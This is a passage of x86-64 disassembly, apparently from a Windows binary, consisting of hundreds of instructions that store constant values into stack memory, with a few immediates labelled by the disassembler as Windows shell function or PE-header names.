mov word [rsp + 0x2118], ax
movabs rax, 0x74bce72c6abab3
mov qword [rsp + 0xe380], rax
mov eax, 0xc0c
mov word [rsp + 0x211c], ax
mov byte [rsp + 0x3f9], 0x10
mov eax, 0x524
mov word [rsp + 0x2120], ax
movabs rax, 0x78687d0b92772b
mov qword [rsp + 0xe388], rax
movabs rax, 0x770645fa77e563
mov qword [rsp + 0xe390], rax
mov dword [rsp + 0x70e0], 0x6337
movabs rax, 0x78eb2ae7735402
mov qword [rsp + 0xe398], rax
mov eax, 0x719
mov word [rsp + 0x2124], ax
mov dword [rsp + 0x70e4], 0x88ab
movabs rax, 0x733ed7c11ac2e9
mov qword [rsp + 0xe3a0], rax
mov byte [rsp + 0x3fa], 5
movabs rax, 0x712e1f3f088639
mov qword [rsp + 0xe3a8], rax
mov eax, 0xf06
mov word [rsp + 0x2128], ax
mov byte [rsp + 0x3fb], 0xf2
mov eax, 0x415
mov word [rsp + 0x212c], ax
mov dword [rsp + 0x70e8], 0x68ef
mov eax, 0x7ed
mov word [rsp + 0x2130], ax
mov dword [rsp + 0x70ec], 0x27f9
mov eax, 0xdbf
mov word [rsp + 0x2134], ax
mov eax, 0x599
mov word [rsp + 0x2138], ax
mov eax, 0x6d0
mov word [rsp + 0x213c], ax
mov byte [rsp + 0x3fc], 0xd7
mov dword [rsp + 0x70f0], 0x2f53
mov eax, 0xca1
mov word [rsp + 0x2140], ax
mov eax, 0x266
mov word [rsp + 0x2144], ax
movabs rax, 0x78a8d57a39c95d
mov qword [rsp + 0xe3b0], rax
mov eax, 0x5b9
mov word [rsp + 0x2148], ax
mov dword [rsp + 0x70f4], 0x4720
mov byte [rsp + 0x3fd], 0x82
mov eax, 0x16a
mov word [rsp + 0x214c], ax
movabs rax, 0x7ebfb7e1f1b077
mov qword [rsp + 0xe3b8], rax
mov dword [rsp + 0x70f8], 0xf0c
mov dword [rsp + 0x70fc], 0xcf08
mov dword [rsp + 0x7100], 0xdcef
mov byte [rsp + 0x3fe], 0xa9
mov byte [rsp + 0x3ff], 0x76
mov eax, 0x26
mov word [rsp + 0x2150], ax
mov dword [rsp + 0x7104], 0x6b00
mov dword [rsp + 0x7108], 0x3982
movabs rax, 0x7dc29b6b9f41e0
mov qword [rsp + 0xe3c0], rax
movabs rax, 0x7a161d4c3bdbac
mov qword [rsp + 0xe3c8], rax
mov byte [rsp + 0x400], 0x3d
mov dword [rsp + 0x710c], 0x3237
mov dword [rsp + 0x7110], 0x72f7
mov dword [rsp + 0x7114], 0x20b3
mov dword [rsp + 0x7118], 0xdf1c
movabs rax, 0x72d57c4b0e47e3
mov qword [rsp + 0xe3d0], rax
mov dword [rsp + 0x711c], 0x4c23
movabs rax, 0x752862a9247ad5
mov qword [rsp + 0xe3d8], rax
mov byte [rsp + 0x401], 0x4e
movabs rax, 0x7a0f3d50736768
mov qword [rsp + 0xe3e0], rax
mov byte [rsp + 0x402], 0xe8
mov dword [rsp + 0x7120], 0x78e9
mov byte [rsp + 0x403], 0x45
mov dword [rsp + 0x7124], 0x603b
mov dword [rsp + 0x7128], 0x2629
mov dword [rsp + 0x712c], 0x6e80
mov eax, 0xda
mov word [rsp + 0x2154], ax
mov eax, 0xe65
mov word [rsp + 0x2158], ax
mov dword [rsp + 0x7130], 0x4afe
mov dword [rsp + 0x7134], 0x4dfc
mov byte [rsp + 0x404], 5
mov eax, 0x2d1
mov word [rsp + 0x215c], ax
movabs rax, 0x70a66106c49102
mov qword [rsp + 0xe3e8], rax
mov eax, 0x1e7
mov word [rsp + 0x2160], ax
movabs rax, 0x79b37fb30bda75
mov qword [rsp + 0xe3f0], rax
movabs rax, 0x758afa21605b74
mov qword [rsp + 0xe3f8], rax
movabs rax, 0x7bc3c4e9e88b7b
mov qword [rsp + 0xe400], rax
mov byte [rsp + 0x405], 0xf7
mov dword [rsp + 0x7138], 0x5cca
mov eax, 0x586
mov word [rsp + 0x2164], ax
mov eax, 0x411
mov word [rsp + 0x2168], ax
mov dword [rsp + 0x713c], 0x5baf
mov byte [rsp + 0x406], 0xe1
mov dword [rsp + 0x7140], 0x42f4
mov eax, 0x28
mov word [rsp + 0x216c], ax
movabs rax, 0x739e21028dd13a
mov qword [rsp + 0xe408], rax
mov byte [rsp + 0x407], 0x7e
mov eax, 0x3a6
mov word [rsp + 0x2170], ax
movabs rax, 0x7ce6b02074ef63
mov qword [rsp + 0xe410], rax
mov dword [rsp + 0x7144], 0x54d9
mov dword [rsp + 0x7148], 0xc1ba
mov dword [rsp + 0x714c], 0x3ea5
movabs rax, 0x7c48f143d4728d
mov qword [rsp + 0xe418], rax
mov dword [rsp + 0x7150], 0xfc3
movabs rax, 0x7c23865abdc0a9
mov qword [rsp + 0xe420], rax
movabs rax, 0x77f8d9575cd922
mov qword [rsp + 0xe428], rax
mov eax, 0x4e1
mov word [rsp + 0x2174], ax
mov eax, 0x451
mov word [rsp + 0x2178], ax
mov eax, 0xc5
mov word [rsp + 0x217c], ax
mov eax, 0x3e6
mov word [rsp + 0x2180], ax
movabs rax, 0x720a97675c9aaa
mov qword [rsp + 0xe430], rax
mov eax, 0x8fc
mov word [rsp + 0x2184], ax
mov eax, 4
mov word [rsp + 0x2188], ax
mov eax, 0xe1c
mov word [rsp + 0x218c], ax
movabs rax, 0x733a5f97db7704
mov qword [rsp + 0xe438], rax
movabs rax, 0x76e2a6fcc63962
mov qword [rsp + 0xe440], rax
mov eax, 0xa82
mov word [rsp + 0x2190], ax
mov byte [rsp + 0x408], 0x5c
mov dword [rsp + 0x7154], 0x7c9c
movabs rax, 0x774e4c4cdbd8dd
mov qword [rsp + 0xe448], rax
mov byte [rsp + 0x409], 0xaf
mov dword [rsp + 0x7158], 0x182e
mov eax, 0x519
mov word [rsp + 0x2194], ax
movabs rax, 0x75f8eb20cbd5e8
mov qword [rsp + 0xe450], rax
mov byte [rsp + 0x40a], 0x5c
movabs rax, 0x74ca75ef96ac50
mov qword [rsp + 0xe458], rax
mov eax, 0xeed
mov word [rsp + 0x2198], ax
mov byte [rsp + 0x40b], 7
movabs rax, 0x7e0cc660921bc6
mov qword [rsp + 0xe460], rax
mov dword [rsp + 0x715c], 0x2e1f
movabs rax, 0x79e0fd45824c86
mov qword [rsp + 0xe468], rax
mov eax, 0xb36
mov word [rsp + 0x219c], ax
mov dword [rsp + 0x7160], 0x3009
mov eax, 0xea
mov word [rsp + 0x21a0], ax
mov dword [rsp + 0x7164], 0xc79d
mov dword [rsp + 0x7168], 0xf202
movabs rax, 0x72f96dbf9af3dd
mov qword [rsp + 0xe470], rax
mov eax, 0x14b
mov word [rsp + 0x21a4], ax
movabs rax, 0x7426e9a4400503
mov qword [rsp + 0xe478], rax
mov byte [rsp + 0x40c], 0x22
movabs rax, 0x73a7ff740e64d4
mov qword [rsp + 0xe480], rax
mov byte [rsp + 0x40d], 0x54
mov eax, 0x1dd
mov word [rsp + 0x21a8], ax
movabs rax, 0x70b6e8352619db
mov qword [rsp + 0xe488], rax
mov dword [rsp + 0x716c], 0x75e4
mov byte [rsp + 0x40e], 0x32
mov eax, 0x157
mov word [rsp + 0x21ac], ax
mov dword [rsp + 0x7170], 0x94f9
mov dword [rsp + 0x7174], 0x748
mov eax, 0x3dc
mov word [rsp + 0x21b0], ax
movabs rax, 0x7cc71dd723c1b5
mov qword [rsp + 0xe490], rax
movabs rax, 0x76a584485cfd00
mov qword [rsp + 0xe498], rax
mov byte [rsp + 0x40f], 0x25
movabs rax, 0x739bd4ae4962c8
mov qword [rsp + 0xe4a0], rax
mov byte [rsp + 0x410], 0xe
mov dword [rsp + 0x7178], 0x35ae
movabs rax, 0x7e15aa9a9bca55
mov qword [rsp + 0xe4a8], rax
mov dword [rsp + 0x717c], 0xed3a
mov dword [rsp + 0x7180], 0xc954
mov eax, 0x1a6
mov word [rsp + 0x21b4], ax
mov byte [rsp + 0x411], 7
mov eax, 0xb21
mov word [rsp + 0x21b8], ax
movabs rax, 0x75a5842b17c460
mov qword [rsp + 0xe4b0], rax
mov eax, 0x367
mov word [rsp + 0x21bc], ax
movabs rax, 0x705291297d5a97
mov qword [rsp + 0xe4b8], rax
mov eax, 0x31b
mov word [rsp + 0x21c0], ax
movabs rax, 0x74b23e8b8b0221
mov qword [rsp + 0xe4c0], rax
mov byte [rsp + 0x412], 0x37
movabs rax, 0x745ed255ea07af
mov qword [rsp + 0xe4c8], rax
mov byte [rsp + 0x413], 0xaf
mov byte [rsp + 0x414], 0x6f
mov dword [rsp + 0x7184], 0x4380
movabs rax, 0x792428386b716e
mov qword [rsp + 0xe4d0], rax
mov eax, 0x5bc
mov word [rsp + 0x21c4], ax
movabs rax, 0x7e8ca2ee1ad934
mov qword [rsp + 0xe4d8], rax
mov eax, 0x3b5
mov word [rsp + 0x21c8], ax
mov eax, SHSetInstanceExplorer
mov word [rsp + 0x21cc], ax
movabs rax, 0x72926df2a5eebc
mov qword [rsp + 0xe4e0], rax
mov byte [rsp + 0x415], 0x83
mov eax, 0x28c
mov word [rsp + 0x21d0], ax
mov eax, 0x333
mov word [rsp + 0x21d4], ax
mov eax, 0xbc7
mov word [rsp + 0x21d8], ax
movabs rax, 0x7cb97b618f71d3
mov qword [rsp + 0xe4e8], rax
mov eax, 0x3f4
mov word [rsp + 0x21dc], ax
mov eax, 0x6ef
mov word [rsp + 0x21e0], ax
movabs rax, 0x75aa68055eb595
mov qword [rsp + 0xe4f0], rax
movabs rax, 0x763db466f98f8b
mov qword [rsp + 0xe4f8], rax
mov dword [rsp + 0x7188], 0x4e4d
movabs rax, 0x7a1430cbf96826
mov qword [rsp + 0xe500], rax
mov dword [rsp + 0x718c], 0x3cc9
mov byte [rsp + 0x416], 0x68
mov eax, 0x318
mov word [rsp + 0x21e4], ax
mov byte [rsp + 0x417], 6
movabs rax, 0x7181c3c9be9864
mov qword [rsp + 0xe508], rax
mov dword [rsp + 0x7190], 0xdb2
mov dword [rsp + 0x7194], 0x1041
mov byte [rsp + 0x418], 0x3f
mov dword [rsp + 0x7198], 0x4467
movabs rax, 0x7a5caf49a1dbea
mov qword [rsp + 0xe510], rax
mov byte [rsp + 0x419], 0x86
mov dword [rsp + 0x719c], 0x1b66
mov dword [rsp + 0x71a0], 0x3217
movabs rax, 0x76e4e8161ec50e
mov qword [rsp + 0xe518], rax
mov dword [rsp + 0x71a4], 0x38ed
mov eax, 0x678
mov word [rsp + 0x21e8], ax
movabs rax, 0x709b005d8d63da
mov qword [rsp + 0xe520], rax
movabs rax, 0x7bf99f8a108b1b
mov qword [rsp + 0xe528], rax
mov eax, 0xe0
mov word [rsp + 0x21ec], ax
movabs rax, 0x7334610267a140
mov qword [rsp + 0xe530], rax
movabs rax, 0x79203bd582037e
mov qword [rsp + 0xe538], rax
mov dword [rsp + 0x71a8], 0x9219
mov dword [rsp + 0x71ac], 0x3786
movabs rax, 0x7c0b6c33fdee2f
mov qword [rsp + 0xe540], rax
movabs rax, 0x765116d9f11d23
mov qword [rsp + 0xe548], rax
mov dword [rsp + 0x71b0], 0xcff1
movabs rax, 0x79878c2c19439f
mov qword [rsp + 0xe550], rax
movabs rax, 0x70572b9a6e745c
mov qword [rsp + 0xe558], rax
mov eax, 0xf2a
mov word [rsp + 0x21f0], ax
mov dword [rsp + 0x71b4], 0x2bf0
mov byte [rsp + 0x41a], 0x56
mov eax, 0x826
mov word [rsp + 0x21f4], ax
movabs rax, 0x796ad903ce7b08
mov qword [rsp + 0xe560], rax
mov dword [rsp + 0x71b8], 0x6f37
movabs rax, 0x75b59c1274f384
mov qword [rsp + 0xe568], rax
movabs rax, 0x73c55c5d3fb433
mov qword [rsp + 0xe570], rax
mov dword [rsp + 0x71bc], 0x6e88
mov byte [rsp + 0x41b], 0x68
mov byte [rsp + 0x41c], 0x9f
mov dword [rsp + 0x71c0], 0x602d
mov dword [rsp + 0x71c4], 0x582f
movabs rax, 0x7c921abd982c07
mov qword [rsp + 0xe578], rax
movabs rax, 0x7421ab0420568c
mov qword [rsp + 0xe580], rax
mov byte [rsp + 0x41d], 0x10
mov eax, 0x28
mov word [rsp + 0x21f8], ax
mov byte [rsp + 0x41e], 0x7d
mov dword [rsp + 0x71c8], 0x1f8e
movabs rax, 0x79111cccf0637a
mov qword [rsp + 0xe588], rax
mov byte [rsp + 0x41f], 0x5a
movabs rax, 0x7eb16f7bd05058
mov qword [rsp + 0xe590], rax
mov eax, 0xe36
mov word [rsp + 0x21fc], ax
mov dword [rsp + 0x71cc], 0xf4fd
mov dword [rsp + 0x71d0], 0x4239
mov byte [rsp + 0x420], 0x39
mov byte [rsp + 0x421], 0xac
mov eax, 0x14d
mov word [rsp + 0x2200], ax
mov dword [rsp + 0x71d4], 0xa4c5
mov eax, 0xc59
mov word [rsp + 0x2204], ax
movabs rax, 0x73b14e8e8c99a1
mov qword [rsp + 0xe598], rax
mov dword [rsp + 0x71d8], 0x7551
mov dword [rsp + 0x71dc], 0xeb35
mov eax, ILRemoveLastID
mov word [rsp + 0x2208], ax
movabs rax, 0x72b3cc4a802eac
mov qword [rsp + 0xe5a0], rax
movabs rax, 0x7b641e5ff6f3ce
mov qword [rsp + 0xe5a8], rax
mov byte [rsp + 0x422], 0xd6
movabs rax, 0x7eab0c5052077f
mov qword [rsp + 0xe5b0], rax
mov byte [rsp + 0x423], 0xb5
mov dword [rsp + 0x71e0], 0x3a51
mov dword [rsp + 0x71e4], 0x269c
mov eax, 0x7e6
mov word [rsp + 0x220c], ax
mov dword [rsp + 0x71e8], 0x647f
mov byte [rsp + 0x424], 0x1f
movabs rax, 0x79cd081ad2eb7a
mov qword [rsp + 0xe5b8], rax
mov eax, 0xd9c
mov word [rsp + 0x2210], ax
mov dword [rsp + 0x71ec], 0x3522
mov byte [rsp + 0x425], 0x89
movabs rax, 0x7b1c4a3717b0b2
mov qword [rsp + 0xe5c0], rax
mov eax, 0x449
mov word [rsp + 0x2214], ax
mov byte [rsp + 0x426], 0x93
mov dword [rsp + 0x71f0], 0x203f
movabs rax, 0x7b9a7ccee6cdae
mov qword [rsp + 0xe5c8], rax
movabs rax, 0x763d2de2a8a0cd
mov qword [rsp + 0xe5d0], rax
mov dword [rsp + 0x71f4], 0xc6f3
mov byte [rsp + 0x427], 0x1c
movabs rax, 0x70badb75acd671
mov qword [rsp + 0xe5d8], rax
mov eax, 0x4c0
mov word [rsp + 0x2218], ax
mov eax, 0x71f
mov word [rsp + 0x221c], ax
movabs rax, 0x7bb2087f7f1949
mov qword [rsp + 0xe5e0], rax
mov byte [rsp + 0x428], 0xfe
mov eax, 0x65e
mov word [rsp + 0x2220], ax
mov byte [rsp + 0x429], 0x47
mov eax, 0xa9
mov word [rsp + 0x2224], ax
mov dword [rsp + 0x71f8], 0xc290
movabs rax, 0x7c41e51a812297
mov qword [rsp + 0xe5e8], rax
movabs rax, 0x7b80f64a67b247
mov qword [rsp + 0xe5f0], rax
movabs rax, 0x77aa6db45fb17f
mov qword [rsp + 0xe5f8], rax
mov dword [rsp + 0x71fc], 0x47e3
movabs rax, 0x73eac4b0640b2f
mov qword [rsp + 0xe600], rax
movabs rax, 0x7b4f3a3060e22c
mov qword [rsp + 0xe608], rax
mov dword [rsp + 0x7200], 0x385f
mov dword [rsp + 0x7204], 0x1988
mov dword [rsp + 0x7208], 0x188
mov eax, 0x758
mov word [rsp + 0x2228], ax
movabs rax, 0x775e3b70638dc5
mov qword [rsp + 0xe610], rax
mov byte [rsp + 0x42a], 0x21
mov eax, 0xac6
mov word [rsp + 0x222c], ax
mov eax, 0x60d
mov word [rsp + 0x2230], ax
mov eax, 0x86
mov word [rsp + 0x2234], ax
mov eax, 0x3cd
mov word [rsp + 0x2238], ax
mov byte [rsp + 0x42b], 0xc9
mov eax, 0x5e4
mov word [rsp + 0x223c], ax
mov eax, 0x7d
mov word [rsp + 0x2240], ax
mov dword [rsp + 0x720c], 0x1608
mov eax, 0x25a
mov word [rsp + 0x2244], ax
mov dword [rsp + 0x7210], 0x7935
mov dword [rsp + 0x7214], 0x4860
mov eax, 0x72f
mov word [rsp + 0x2248], ax
mov dword [rsp + 0x7218], 0xdaf
mov eax, 0x3da
mov word [rsp + 0x224c], ax
movabs rax, 0x7b8e56a265a064
mov qword [rsp + 0xe618], rax
movabs rax, 0x7cfb6b77bd3c8a
mov qword [rsp + 0xe620], rax
movabs rax, 0x7d857421fe8556
mov qword [rsp + 0xe628], rax
movabs rax, 0x736ef241104531
mov qword [rsp + 0xe630], rax
mov dword [rsp + 0x721c], 0x46f8
mov eax, 0x928
mov word [rsp + 0x2250], ax
movabs rax, 0x7e4dbdbb6be76d
mov qword [rsp + 0xe638], rax
mov eax, 0x15e
mov word [rsp + 0x2254], ax
mov dword [rsp + 0x7220], 0x2100
mov byte [rsp + 0x42c], 0x1f
mov dword [rsp + 0x7224], 0x8ed1
mov eax, pe_nt_image_headers64
mov word [rsp + 0x2258], ax
mov byte [rsp + 0x42d], 8
mov eax, 0x757
mov word [rsp + 0x225c], ax
mov dword [rsp + 0x7228], 0x8825
mov dword [rsp + 0x722c], 0x5594
mov eax, 0x50
mov word [rsp + 0x2260], ax
mov byte [rsp + 0x42e], 0x6c
mov eax, 0x6b7
mov word [rsp + 0x2264], ax
mov byte [rsp + 0x42f], 0xef
movabs rax, 0x74dc7972612e54
mov qword [rsp + 0xe640], rax
mov byte [rsp + 0x430], 0xce
mov byte [rsp + 0x431], 0x69
movabs rax, 0x74cd81b0cb322a
mov qword [rsp + 0xe648], rax
movabs rax, 0x7dfa4b6df13ecf
mov qword [rsp + 0xe650], rax
mov dword [rsp + 0x7230], 0x5ff5
mov eax, 0xb8a
mov word [rsp + 0x2268], ax
movabs rax, 0x721bdb27beab71
mov qword [rsp + 0xe658], rax
mov dword [rsp + 0x7234], 0xb24d
mov byte [rsp + 0x432], 2
movabs rax, 0x72e738ccea8bed
mov qword [rsp + 0xe660], rax
mov eax, 0x8d
mov word [rsp + 0x226c], ax
movabs rax, 0x7ddf769f345311
mov qword [rsp + 0xe668], rax
movabs rax, 0x7eddf9241c34d9
mov qword [rsp + 0xe670], rax
mov eax, 0x6c
mov word [rsp + 0x2270], ax
movabs rax, 0x70004466a45e6c
mov qword [rsp + 0xe678], rax
mov dword [rsp + 0x7238], 0x651b
mov byte [rsp + 0x433], 0x71
mov dword [rsp + 0x723c], 0x6576
movabs rax, 0x76b94e9ab77922
mov qword [rsp + 0xe680], rax
mov dword [rsp + 0x7240], 0x847b
movabs rax, 0x786cc04fd97feb
mov qword [rsp + 0xe688], rax
movabs rax, 0x770353274017e0
mov qword [rsp + 0xe690], rax
mov dword [rsp + 0x7244], 0x62a4
mov byte [rsp + 0x434], 0x92
movabs rax, 0x787b0bc02c3ed5
mov qword [rsp + 0xe698], rax
movabs rax, 0x7b0164a9c46243
mov qword [rsp + 0xe6a0], rax
movabs rax, 0x7aa9c5f026323c
mov qword [rsp + 0xe6a8], rax
mov dword [rsp + 0x7248], 0x74
mov byte [rsp + 0x435], 0xd
mov dword [rsp + 0x724c], 0xc167
movabs rax, 0x7e600d449add13
mov qword [rsp + 0xe6b0], rax
mov dword [rsp + 0x7250], 0xdc32
mov dword [rsp + 0x7254], 0x3eef
mov byte [rsp + 0x436], 0x41
movabs rax, 0x716f8150375fe0
mov qword [rsp + 0xe6b8], rax
mov byte [rsp + 0x437], 0x52
mov eax, 0xc2
mov word [rsp + 0x2274], ax
mov byte [rsp + 0x438], 0xfe
mov dword [rsp + 0x7258], 0x4153
mov dword [rsp + 0x725c], 0x760
mov eax, 0x498
mov word [rsp + 0x2278], ax
mov byte [rsp + 0x439], 0xa8
movabs rax, 0x763ae313e34f70
mov qword [rsp + 0xe6c0], rax
mov dword [rsp + 0x7260], 0x721a
mov dword [rsp + 0x7264], 0x64f
mov eax, 0x173
mov word [rsp + 0x227c], ax
mov dword [rsp + 0x7268], 0xbe68
mov dword [rsp + 0x726c], 0x3e2e
mov eax, 0x9f3
mov word [rsp + 0x2280], ax
mov byte [rsp + 0x43a], 0x5c
mov dword [rsp + 0x7270], 0x53a7
movabs rax, 0x79676f0956c4d5
mov qword [rsp + 0xe6c8], rax
mov dword [rsp + 0x7274], 0xe23
mov dword [rsp + 0x7278], 0x9af3
movabs rax, 0x7c7d0388ecdab9
mov qword [rsp + 0xe6d0], rax
mov dword [rsp + 0x727c], 0x166c
mov byte [rsp + 0x43b], 0x4f
mov byte [rsp + 0x43c], 0x4f
mov dword [rsp + 0x7280], 0x1920
mov eax, 0xd57
mov word [rsp + 0x2284], ax
mov byte [rsp + 0x43d], 0x35
movabs rax, 0x72ffe3ad018a7f
mov qword [rsp + 0xe6d8], rax
mov dword [rsp + 0x7284], 0x6254
mov byte [rsp + 0x43e], 0x7f
mov dword [rsp + 0x7288], 0x39f0
mov eax, 0x399
mov word [rsp + 0x2288], ax
movabs rax, 0x70982ab9b5639c
mov qword [rsp + 0xe6e0], rax
movabs rax, 0x7b9cf5d2a1282d
mov qword [rsp + 0xe6e8], rax
mov eax, 0xc7f
mov word [rsp + 0x228c], ax
movabs rax, 0x7c4cae768c91dc
mov qword [rsp + 0xe6f0], rax
mov eax, 0xca7
mov word [rsp + 0x2290], ax
movabs rax, 0x797a6b113de951
mov qword [rsp + 0xe6f8], rax
movabs rax, 0x77c16b0c7e3b44
mov qword [rsp + 0xe700], rax
mov byte [rsp + 0x43f], 0x12
mov byte [rsp + 0x440], 0x86
mov byte [rsp + 0x441], 0xc
mov eax, 0xe2b
mov word [rsp + 0x2294], ax
mov dword [rsp + 0x728c], 0x6817
mov dword [rsp + 0x7290], 0x5eee
mov byte [rsp + 0x442], 0xe7
mov eax, 0xf23
mov word [rsp + 0x2298], ax
mov byte [rsp + 0x443], 0x2f
mov eax, 0x63
mov word [rsp + 0x229c], ax
movabs rax, 0x7b4ac7ee3fa663
mov qword [rsp + 0xe708], rax
mov byte [rsp + 0x444], 0x2b
movabs rax, 0x7d83e74f9cbe94
mov qword [rsp + 0xe710], rax
movabs rax, 0x769ad6f9f6c9e4
mov qword [rsp + 0xe718], rax
movabs rax, 0x78e6902ef8df4e
mov qword [rsp + 0xe720], rax
mov byte [rsp + 0x445], 0x69
mov dword [rsp + 0x7294], 0x26ed
movabs rax, 0x781b65ac37ceea
mov qword [rsp + 0xe728], rax
mov byte [rsp + 0x446], 0x11
mov eax, 0x1dd
mov word [rsp + 0x22a0], ax
mov byte [rsp + 0x447], 0xd
mov eax, SHDoDragDrop
mov word [rsp + 0x22a4], ax
movabs rax, 0x79834fe1055ea2
mov qword [rsp + 0xe730], rax
movabs rax, 0x7ba7f39123b756
mov qword [rsp + 0xe738], rax
mov dword [rsp + 0x7298], 0x63c7
mov eax, 0x336
mov word [rsp + 0x22a8], ax
mov dword [rsp + 0x729c], 0x315b
mov eax, 0xb06
mov word [rsp + 0x22ac], ax
mov byte [rsp + 0x448], 0x3e
mov byte [rsp + 0x449], 0x31
movabs rax, 0x760cccc50273f2
mov qword [rsp + 0xe740], rax
mov eax, 0x3aa
mov word [rsp + 0x22b0], ax
mov dword [rsp + 0x72a0], 0x4f4a
mov eax, 0x23b
mov word [rsp + 0x22b4], ax
movabs rax, 0x745a286bf98d1c
mov qword [rsp + 0xe748], rax
movabs rax, 0x76445b3c12c5a9
mov qword [rsp + 0xe750], rax
mov dword [rsp + 0x72a4], 0x8abc
mov dword [rsp + 0x72a8], 0xc291
mov byte [rsp + 0x44a], 0xc6
movabs rax, 0x75255ffcf0f85b
mov qword [rsp + 0xe758], rax
mov eax, 0x2d2
mov word [rsp + 0x22b8], ax
mov byte [rsp + 0x44b], 0x42
movabs rax, 0x7d30fd65375d68
mov qword [rsp + 0xe760], rax
movabs rax, 0x7c641d8a3c4dff
mov qword [rsp + 0xe768], rax
mov dword [rsp + 0x72ac], 0x4657
mov dword [rsp + 0x72b0], 0x638c
mov dword [rsp + 0x72b4], 0x7a19
movabs rax, 0x750e6ce1b79c46
mov qword [rsp + 0xe770], rax
movabs rax, 0x758e9613133921
mov qword [rsp + 0xe778], rax
movabs rax, 0x7cdc8f1e1471b7
mov qword [rsp + 0xe780], rax
mov eax, 0xb8b
mov word [rsp + 0x22bc], ax
movabs rax, 0x72960c315b54c6
mov qword [rsp + 0xe788], rax
movabs rax, 0x77abd99fa57d3c
mov qword [rsp + 0xe790], rax
movabs rax, 0x7e36b4c59c4df6
mov qword [rsp + 0xe798], rax
mov eax, 0xfac
mov word [rsp + 0x22c0], ax
mov eax, 0xec6
mov word [rsp + 0x22c4], ax
movabs rax, 0x734d7250efbdf8
mov qword [rsp + 0xe7a0], rax
mov eax, 0xcca
mov word [rsp + 0x22c8], ax
mov dword [rsp + 0x72b8], 0x44c1
mov byte [rsp + 0x44c], 0x2b
mov byte [rsp + 0x44d], 0x33
movabs rax, 0x71bd279e5ca5b1
mov qword [rsp + 0xe7a8], rax
mov byte [rsp + 0x44e], 0x81
movabs rax, 0x71487071e65b2b
mov qword [rsp + 0xe7b0], rax
mov eax, 0x1b3
mov word [rsp + 0x22cc], ax
movabs rax, 0x7ec558d16d33bc
mov qword [rsp + 0xe7b8], rax
mov eax, 0x69a
mov word [rsp + 0x22d0], ax
movabs rax, 0x7575427e78969a
mov qword [rsp + 0xe7c0], rax
mov eax, 0xa99
mov word [rsp + 0x22d4], ax
movabs rax, 0x7576e3b8bf47f0
mov qword [rsp + 0xe7c8], rax
movabs rax, 0x716ba0fd958429
mov qword [rsp + 0xe7d0], rax
mov eax, 0xe8
mov word [rsp + 0x22d8], ax
mov eax, 0xee9
mov word [rsp + 0x22dc], ax
movabs rax, 0x73b4b2e8267e4c
mov qword [rsp + 0xe7d8], rax
movabs rax, 0x7a250fa7b4604d
mov qword [rsp + 0xe7e0], rax
mov byte [rsp + 0x44f], 0xfb
movabs rax, 0x71293eaf8f9871
mov qword [rsp + 0xe7e8], rax
mov eax, 0x7e8
mov word [rsp + 0x22e0], ax
movabs rax, 0x738f133f2444e3
mov qword [rsp + 0xe7f0], rax
mov dword [rsp + 0x72bc], 0xeaf9
movabs rax, 0x7c4499542bb4bb
mov qword [rsp + 0xe7f8], rax
mov byte [rsp + 0x450], 0x4e
mov eax, 0x154
mov word [rsp + 0x22e4], ax
mov eax, 0x590
mov word [rsp + 0x22e8], ax
mov dword [rsp + 0x72c0], 0x1dfa
movabs rax, 0x7b02220b7e29ca
mov qword [rsp + 0xe800], rax
mov byte [rsp + 0x451], 0x2d
mov byte [rsp + 0x452], 0x97
movabs rax, 0x7a6d6f041c07ee
mov qword [rsp + 0xe808], rax
movabs rax, 0x7d67b9665c0761
mov qword [rsp + 0xe810], rax
movabs rax, 0x72fc942c613bf8
mov qword [rsp + 0xe818], rax
mov byte [rsp + 0x453], 0xa4
movabs rax, 0x77379671a3e94d
mov qword [rsp + 0xe820], rax
mov dword [rsp + 0x72c4], 0x9af1
mov byte [rsp + 0x454], 0x20
mov byte [rsp + 0x455], 0xf
mov byte [rsp + 0x456], 0x3f
mov dword [rsp + 0x72c8], 0x5858
movabs rax, 0x7e72c16f43f9cf
mov qword [rsp + 0xe828], rax
mov dword [rsp + 0x72cc], 0xdf18
mov eax, 0x5e0
mov word [rsp + 0x22ec], ax
movabs rax, 0x717faa3d20b8e7
mov qword [rsp + 0xe830], rax
mov dword [rsp + 0x72d0], 0x3b4
movabs rax, 0x7b1e370c43709f
mov qword [rsp + 0xe838], rax
mov eax, 0x5c
mov word [rsp + 0x22f0], ax
mov byte [rsp + 0x457], 0x4b
mov dword [rsp + 0x72d4], 0x58c
mov byte [rsp + 0x458], 0x61
movabs rax, 0x7c1e63411d1272
mov qword [rsp + 0xe840], rax
mov eax, 0x50a
mov word [rsp + 0x22f4], ax
movabs rax, 0x718740dec2ec8e
mov qword [rsp + 0xe848], rax
mov dword [rsp + 0x72d8], 0xc0f7
mov eax, 0x51e
mov word [rsp + 0x22f8], ax
mov eax, 0xfcb
mov word [rsp + 0x22fc], ax
mov eax, 0x5d2
mov word [rsp + 0x2300], ax
mov dword [rsp + 0x72dc], 0x9a50
mov byte [rsp + 0x459], 0x95
movabs rax, 0x7c711701a878ef
mov qword [rsp + 0xe850], rax
mov dword [rsp + 0x72e0], 0xb94b
mov eax, 0xe38
mov word [rsp + 0x2304], ax
movabs rax, 0x7eff95274071df
mov qword [rsp + 0xe858], rax
movabs rax, 0x7ae30d96252897
mov qword [rsp + 0xe860], rax
mov dword [rsp + 0x72e4], 0x5277
mov eax, 0x411
mov word [rsp + 0x2308], ax
movabs rax, 0x757e80c7a2f54d
mov qword [rsp + 0xe868], rax
movabs rax, 0x7a78c0d539a641
mov qword [rsp + 0xe870], rax
movabs rax, 0x7d9b66570ef516
mov qword [rsp + 0xe878], rax
mov eax, 0x828
mov word [rsp + 0x230c], ax
mov byte [rsp + 0x45a], 0xac
mov dword [rsp + 0x72e8], 0x783c
mov eax, 0x9a5
mov word [rsp + 0x2310], ax
mov eax, 0x25f
mov word [rsp + 0x2314], ax
mov dword [rsp + 0x72ec], 0x1dbd
mov byte [rsp + 0x45b], 0x18
mov byte [rsp + 0x45c], 0x74
movabs rax, 0x70637999d73a9e
mov qword [rsp + 0xe880], rax
mov eax, 0x773
mov word [rsp + 0x2318], ax
mov byte [rsp + 0x45d], 0x10
mov byte [rsp + 0x45e], 0xf4
mov eax, 0x686
mov word [rsp + 0x231c], ax
mov eax, 0x81d
mov word [rsp + 0x2320], ax
mov dword [rsp + 0x72f0], 0x2e2d
mov dword [rsp + 0x72f4], 0x2c95
mov byte [rsp + 0x45f], 0x56
mov eax, 0x395
mov word [rsp + 0x2324], ax
mov byte [rsp + 0x460], 6
mov dword [rsp + 0x72f8], 0x4447
mov eax, 0x54e
mov word [rsp + 0x2328], ax
mov byte [rsp + 0x461], 0x3b
